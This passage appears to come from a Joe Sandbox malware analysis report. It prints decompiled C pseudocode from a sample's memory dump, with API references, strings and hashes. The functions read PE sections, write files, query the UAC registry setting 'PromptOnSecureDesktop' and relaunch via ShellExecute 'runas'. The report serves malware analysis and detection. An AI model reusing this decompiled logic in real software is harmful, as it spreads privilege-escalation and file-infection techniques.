					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,751443E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,751443E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,751443E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,751443E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,751443E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,751443E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,751443E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,751443E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,751443E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,751443E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,751443E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,751881D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
